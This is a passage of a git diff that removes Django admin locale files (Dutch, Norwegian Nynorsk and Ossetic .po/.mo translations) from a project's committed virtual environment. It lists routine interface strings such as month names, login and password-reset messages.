-msgstr[1] "Let op: u ligt %s uur achter ten opzichte van de servertijd." - -msgid "Choose a Time" -msgstr "Kies een tijdstip" - -msgid "Choose a time" -msgstr "Kies een tijd" - -msgid "Cancel" -msgstr "Annuleren" - -msgid "Today" -msgstr "Vandaag" - -msgid "Choose a Date" -msgstr "Kies een datum" - -msgid "Yesterday" -msgstr "Gisteren" - -msgid "Tomorrow" -msgstr "Morgen" - -msgid "January" -msgstr "januari" - -msgid "February" -msgstr "februari" - -msgid "March" -msgstr "maart" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "mei" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "augustus" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mrt" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "mei" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec" - -msgid "Sunday" -msgstr "zondag" - -msgid "Monday" -msgstr "maandag" - -msgid "Tuesday" -msgstr "dinsdag" - -msgid "Wednesday" -msgstr "woensdag" - -msgid "Thursday" -msgstr "donderdag" - -msgid "Friday" -msgstr "vrijdag" - -msgid "Saturday" -msgstr "zaterdag" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "zo" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "ma" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "di" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "wo" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "do" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "vr" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "za" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Z" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "D" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "W" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "D" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Z" - -msgid "Show" -msgstr "Tonen" - -msgid "Hide" -msgstr "Verbergen" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.mo deleted file mode 100644 index c16ee813..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.po deleted file mode 100644 index 4a7c846f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/django.po +++ /dev/null @@ -1,736 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# hgrimelid , 2011-2012 -# Jannis Leidel , 2011 -# jensadne , 2013 -# Sigurd Gartmann , 2012 -# Sivert Olstad, 2021-2022 -# velmont , 2012 -# Vibeke Uthaug, 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Sivert Olstad\n" -"Language-Team: Norwegian Nynorsk (http://www.transifex.com/django/django/" -"language/nn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Slett valgte %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Sletta %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kan ikkje slette %(name)s" - -msgid "Are you sure?" -msgstr "Er du sikker?" - -msgid "Administration" -msgstr "Administrasjon" - -msgid "All" -msgstr "Alle" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nei" - -msgid "Unknown" -msgstr "Ukjend" - -msgid "Any date" -msgstr "Når som helst" - -msgid "Today" -msgstr "I dag" - -msgid "Past 7 days" -msgstr "Siste sju dagar" - -msgid "This month" -msgstr "Denne månaden" - -msgid "This year" -msgstr "I år" - -msgid "No date" -msgstr "Ingen dato" - -msgid "Has date" -msgstr "Har dato" - -msgid "Empty" -msgstr "Tom" - -msgid "Not empty" -msgstr "Ikkje tom" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Oppgje korrekt %(username)s og passord for ein administrasjonsbrukarkonto. " -"Merk at det er skilnad på små og store bokstavar." - -msgid "Action:" -msgstr "Handling:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Opprett ny %(verbose_name)s." - -msgid "Remove" -msgstr "Fjern" - -msgid "Addition" -msgstr "Tillegg" - -msgid "Change" -msgstr "Endre" - -msgid "Deletion" -msgstr "Sletting" - -msgid "action time" -msgstr "tid for handling" - -msgid "user" -msgstr "brukar" - -msgid "content type" -msgstr "innhaldstype" - -msgid "object id" -msgstr "objekt-ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekt repr" - -msgid "action flag" -msgstr "handlingsflagg" - -msgid "change message" -msgstr "endre melding" - -msgid "log entry" -msgstr "logginnlegg" - -msgid "log entries" -msgstr "logginnlegg" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Oppretta “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Endra “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Sletta “%(object)s”." - -msgid "LogEntry Object" -msgstr "LogEntry-objekt" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Oppretta {name} “{object}”." - -msgid "Added." -msgstr "Oppretta." - -msgid "and" -msgstr "og" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Endra {fields} for {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Endra {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Sletta {name} “{object}”." - -msgid "No fields changed." -msgstr "Ingen felt endra." - -msgid "None" -msgstr "Ingen" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Hald nede “Control”, eller “Command” på ein Mac, for å velge meir enn éin." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” vart oppretta." - -msgid "You may edit it again below." -msgstr "Du kan endre det att nedanfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” vart oppretta. Du kan opprette enda ein {name} nedanfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” vart endra. Du kan redigere vidare nedanfor." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "{name} “{obj}” vart oppretta. Du kan redigere vidare nedanfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} “{obj}” vart endra. Du kan opprette enda ein {name} nedanfor." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” vart endra." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Objekt må vere valde for at dei skal kunne utførast handlingar på. Ingen " -"object er endra." - -msgid "No action selected." -msgstr "Inga valt handling." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” vart sletta." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s med ID “%(key)s” eksisterer ikkje. Kanskje den har vorte sletta?" - -#, python-format -msgid "Add %s" -msgstr "Opprett %s" - -#, python-format -msgid "Change %s" -msgstr "Rediger %s" - -#, python-format -msgid "View %s" -msgstr "Sjå %s" - -msgid "Database error" -msgstr "Databasefeil" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s vart endra." -msgstr[1] "%(count)s %(name)s vart endra." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s valde" -msgstr[1] "Alle %(total_count)s valde" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Ingen av %(cnt)s valde" - -#, python-format -msgid "Change history: %s" -msgstr "Endringshistorikk: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Sletting av %(class_name)s «%(instance)s» krev sletting av følgande beskytta " -"relaterte objekt: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administrasjonsside" - -msgid "Django administration" -msgstr "Django-administrasjon" - -msgid "Site administration" -msgstr "Nettstadsadministrasjon" - -msgid "Log in" -msgstr "Logg inn" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-administrasjon" - -msgid "Page not found" -msgstr "Fann ikkje sida" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Sida du spør etter finst ikkje." - -msgid "Home" -msgstr "Heim" - -msgid "Server error" -msgstr "Tenarfeil" - -msgid "Server error (500)" -msgstr "Tenarfeil (500)" - -msgid "Server Error (500)" -msgstr "Tenarfeil (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Det har oppstått ein feil. Det er rapportert til dei som administrerer " -"nettsida med e-mail og burde bli fiksa snarast. Takk for tolmodigheita." - -msgid "Run the selected action" -msgstr "Utfør den valde handlinga" - -msgid "Go" -msgstr "Gå" - -msgid "Click here to select the objects across all pages" -msgstr "Klikk her for å velje objekt på tvers av alle sider" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Velg alle %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Nullstill utval" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modellar i %(name)s-applikasjonen" - -msgid "Add" -msgstr "Opprett" - -msgid "View" -msgstr "Sjå" - -msgid "You don’t have permission to view or edit anything." -msgstr "Du har ikkje løyve til å sjå eller redigere noko." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Skriv først inn brukernamn og passord. Deretter vil du få høve til å endre " -"fleire brukarinnstillingar." - -msgid "Enter a username and password." -msgstr "Skriv inn nytt brukarnamn og passord." - -msgid "Change password" -msgstr "Endre passord" - -msgid "Please correct the error below." -msgstr "Korriger feilen under." - -msgid "Please correct the errors below." -msgstr "Korriger feila under." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Skriv inn eit nytt passord for brukaren %(username)s." - -msgid "Welcome," -msgstr "Velkommen," - -msgid "View site" -msgstr "Vis nettstad" - -msgid "Documentation" -msgstr "Dokumentasjon" - -msgid "Log out" -msgstr "Logg ut" - -#, python-format -msgid "Add %(name)s" -msgstr "Opprett %(name)s" - -msgid "History" -msgstr "Historikk" - -msgid "View on site" -msgstr "Vis på nettstad" - -msgid "Filter" -msgstr "Filtrering" - -msgid "Clear all filters" -msgstr "Fjern alle filter" - -msgid "Remove from sorting" -msgstr "Fjern frå sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteringspriorite: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Slår av eller på sortering" - -msgid "Delete" -msgstr "Slett" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Dersom du slettar %(object_name)s '%(escaped_object)s', vil også slette " -"relaterte objekt, men du har ikkje løyve til å slette følgande objekttypar:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Sletting av %(object_name)s '%(escaped_object)s' krevar sletting av " -"følgjande beskytta relaterte objekt:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Er du sikker på at du vil slette %(object_name)s \"%(escaped_object)s\"? " -"Alle dei følgjande relaterte objekta vil bli sletta:" - -msgid "Objects" -msgstr "Objekt" - -msgid "Yes, I’m sure" -msgstr "Ja, eg er sikker" - -msgid "No, take me back" -msgstr "Nei, ta meg attende" - -msgid "Delete multiple objects" -msgstr "Slett fleire objekt" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Sletting av %(objects_name)s vil føre til at relaterte objekt blir sletta, " -"men kontoen din manglar løyve til å slette følgjande objekttypar:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Sletting av %(objects_name)s krevar sletting av følgjande beskytta relaterte " -"objekt:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Er du sikker på at du vil slette dei valgte objekta %(objects_name)s? " -"Følgjande objekt og deira relaterte objekt vil bli sletta:" - -msgid "Delete?" -msgstr "Slette?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Etter %(filter_title)s " - -msgid "Summary" -msgstr "Oppsummering" - -msgid "Recent actions" -msgstr "Siste handlingar" - -msgid "My actions" -msgstr "Mine handlingar" - -msgid "None available" -msgstr "Ingen tilgjengelege" - -msgid "Unknown content" -msgstr "Ukjent innhald" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Noko er gale med databaseinstallasjonen din. Syt for at databasetabellane er " -"oppretta og at brukaren har dei naudsynte løyve." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Du er stadfesta som %(username)s, men er ikkje autentisert til å få tilgang " -"til denne sida. Ynskjer du å logge inn med ein annan konto?" - -msgid "Forgotten your password or username?" -msgstr "Gløymd brukarnamn eller passord?" - -msgid "Toggle navigation" -msgstr "Veksl navigasjon" - -msgid "Start typing to filter…" -msgstr "Begynn å skrive for å filtrere..." - -msgid "Filter navigation items" -msgstr "Filtrer navigasjonselement" - -msgid "Date/time" -msgstr "Dato/tid" - -msgid "User" -msgstr "Brukar" - -msgid "Action" -msgstr "Handling" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dette objektet har ingen endringshistorikk. Det blei sannsynlegvis ikkje " -"oppretta av denne administratoren. " - -msgid "Show all" -msgstr "Vis alle" - -msgid "Save" -msgstr "Lagre" - -msgid "Popup closing…" -msgstr "Lukkar popup…" - -msgid "Search" -msgstr "Søk" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultat" -msgstr[1] "%(counter)s resultat" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s totalt" - -msgid "Save as new" -msgstr "Lagre som ny" - -msgid "Save and add another" -msgstr "Lagre og opprett ny" - -msgid "Save and continue editing" -msgstr "Lagre og hald fram å redigere" - -msgid "Save and view" -msgstr "Lagre og sjå" - -msgid "Close" -msgstr "Lukk" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Endre valt %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Opprett ny %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Slett valde %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Takk for at du brukte litt kvalitetstid på nettsida i dag. " - -msgid "Log in again" -msgstr "Logg inn att" - -msgid "Password change" -msgstr "Endre passord" - -msgid "Your password was changed." -msgstr "Passordet ditt vart endret." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Av sikkerheitsgrunnar må du oppgje det gamle passordet ditt. Oppgje så det " -"nye passordet ditt to gongar, sånn at vi kan kontrollere at det er korrekt." - -msgid "Change my password" -msgstr "Endre passord" - -msgid "Password reset" -msgstr "Nullstill passord" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Passordet ditt er sett. Du kan logge inn." - -msgid "Password reset confirmation" -msgstr "Stadfesting på nullstilt passord" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Oppgje det nye passordet ditt to gonger, for å sikre at du oppgjev det " -"korrekt." - -msgid "New password:" -msgstr "Nytt passord:" - -msgid "Confirm password:" -msgstr "Gjenta nytt passord:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Nullstillingslinken er ugyldig, kanskje fordi den allereie har vore brukt. " -"Nullstill passordet ditt på nytt." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Dersom det eksisterer ein brukarkonto med e-postadressa du skreiv inn vil " -"det bli sendt ein e-post med instruksjonar for å nullstille passordet til " -"den e-postadressa. Du burde motta den snart. " - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Om du ikkje mottar ein e-post, ver vennleg og sørg for at du skreiv inn e-" -"postadressa du er registrert med og sjekk spam-filteret. " - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Du får denne e-posten fordi du har bedt om å nullstille passordet for " -"brukarkontoen din på %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Gå til følgjande side og velg eit nytt passord:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Brukarnamnet ditt, i tilfelle du har gløymt det:" - -msgid "Thanks for using our site!" -msgstr "Takk for at du brukar sida vår!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Helsing %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Gløymt passordet ditt? Oppgje e-postadressa di under, så sender me deg ein e-" -"post med instruksjonar for nullstilling av passord." - -msgid "Email address:" -msgstr "E-postadresse:" - -msgid "Reset my password" -msgstr "Nullstill passordet" - -msgid "All dates" -msgstr "Alle datoar" - -#, python-format -msgid "Select %s" -msgstr "Velg %s" - -#, python-format -msgid "Select %s to change" -msgstr "Velg %s du ønskar å redigere" - -#, python-format -msgid "Select %s to view" -msgstr "Velg %s du ønskar å sjå" - -msgid "Date:" -msgstr "Dato:" - -msgid "Time:" -msgstr "Tid:" - -msgid "Lookup" -msgstr "Oppslag" - -msgid "Currently:" -msgstr "Noverande:" - -msgid "Change:" -msgstr "Endre:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.mo deleted file mode 100644 index d94421cf..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.po deleted file mode 100644 index 8d4f6483..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,266 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# hgrimelid , 2011 -# Jannis Leidel , 2011 -# Sivert Olstad, 2021 -# velmont , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-11-10 23:27+0000\n" -"Last-Translator: Sivert Olstad\n" -"Language-Team: Norwegian Nynorsk (http://www.transifex.com/django/django/" -"language/nn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Tilgjengelege %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Dette er lista over tilgjengelege %s. Du kan velja nokon ved å markera dei i " -"boksen under og so klikka på «Velg»-pila mellom dei to boksane." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Skriv i dette feltet for å filtrera ned lista av tilgjengelege %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Velg alle" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klikk for å velja alle %s samtidig." - -msgid "Choose" -msgstr "Vel" - -msgid "Remove" -msgstr "Slett" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valde %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Dette er lista over valte %s. Du kan fjerna nokon ved å markera dei i boksen " -"under og so klikka på «Fjern»-pila mellom dei to boksane." - -msgid "Remove all" -msgstr "Fjern alle" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klikk for å fjerna alle valte %s samtidig." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s av %(cnt)s vald" -msgstr[1] "%(sel)s av %(cnt)s valde" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Det er endringar som ikkje er lagra i individuelt redigerbare felt. " -"Endringar som ikkje er lagra vil gå tapt." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Du har vald ei handling, men du har framleis ikkje lagra endringar for " -"individuelle felt. Klikk OK for å lagre. Du må gjere handlinga på nytt." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Du har vald ei handling og du har ikkje gjort endringar i individuelle felt. " -"Du ser sannsynlegvis etter Gå vidare-knappen - ikkje Lagre-knappen." - -msgid "Now" -msgstr "No" - -msgid "Midnight" -msgstr "Midnatt" - -msgid "6 a.m." -msgstr "06:00" - -msgid "Noon" -msgstr "12:00" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Merk: Du er %s time framanfor tjenar-tid." -msgstr[1] "Merk: Du er %s timar framanfor tjenar-tid." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Merk: Du er %s time bak tjenar-tid." -msgstr[1] "Merk: Du er %s timar bak tjenar-tid." - -msgid "Choose a Time" -msgstr "Velg eit klokkeslett" - -msgid "Choose a time" -msgstr "Velg eit klokkeslett" - -msgid "Cancel" -msgstr "Avbryt" - -msgid "Today" -msgstr "I dag" - -msgid "Choose a Date" -msgstr "Velg ein dato" - -msgid "Yesterday" -msgstr "I går" - -msgid "Tomorrow" -msgstr "I morgon" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Mars" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "O" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" - -msgid "Show" -msgstr "Vis" - -msgid "Hide" -msgstr "Skjul" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.mo deleted file mode 100644 index dbf509f5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.po deleted file mode 100644 index aae9d9c2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/django.po +++ /dev/null @@ -1,665 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Soslan Khubulov , 2013 -# Soslan Khubulov , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Ossetic (http://www.transifex.com/django/django/language/" -"os/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: os\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s хафт ӕрцыдысты." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Нӕ уайы схафын %(name)s" - -msgid "Are you sure?" -msgstr "Ӕцӕг дӕ фӕнды?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Схафын ӕвзӕрст %(verbose_name_plural)s" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Иууылдӕр" - -msgid "Yes" -msgstr "О" - -msgid "No" -msgstr "Нӕ" - -msgid "Unknown" -msgstr "Ӕнӕбӕрӕг" - -msgid "Any date" -msgstr "Цыфӕнды бон" - -msgid "Today" -msgstr "Абон" - -msgid "Past 7 days" -msgstr "Фӕстаг 7 бон" - -msgid "This month" -msgstr "Ацы мӕй" - -msgid "This year" -msgstr "Ацы аз" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Дӕ хорзӕхӕй, раст кусӕджы аккаунты %(username)s ӕмӕ пароль бафысс. Дӕ сӕры " -"дар уый, ӕмӕ дыууӕ дӕр гӕнӕн ис стыр ӕмӕ гыццыл дамгъӕ ӕвзарой." - -msgid "Action:" -msgstr "Ми:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Бафтауын ӕндӕр %(verbose_name)s" - -msgid "Remove" -msgstr "Схафын" - -msgid "action time" -msgstr "мийы рӕстӕг" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "объекты бӕрӕггӕнӕн" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "объекты хуыз" - -msgid "action flag" -msgstr 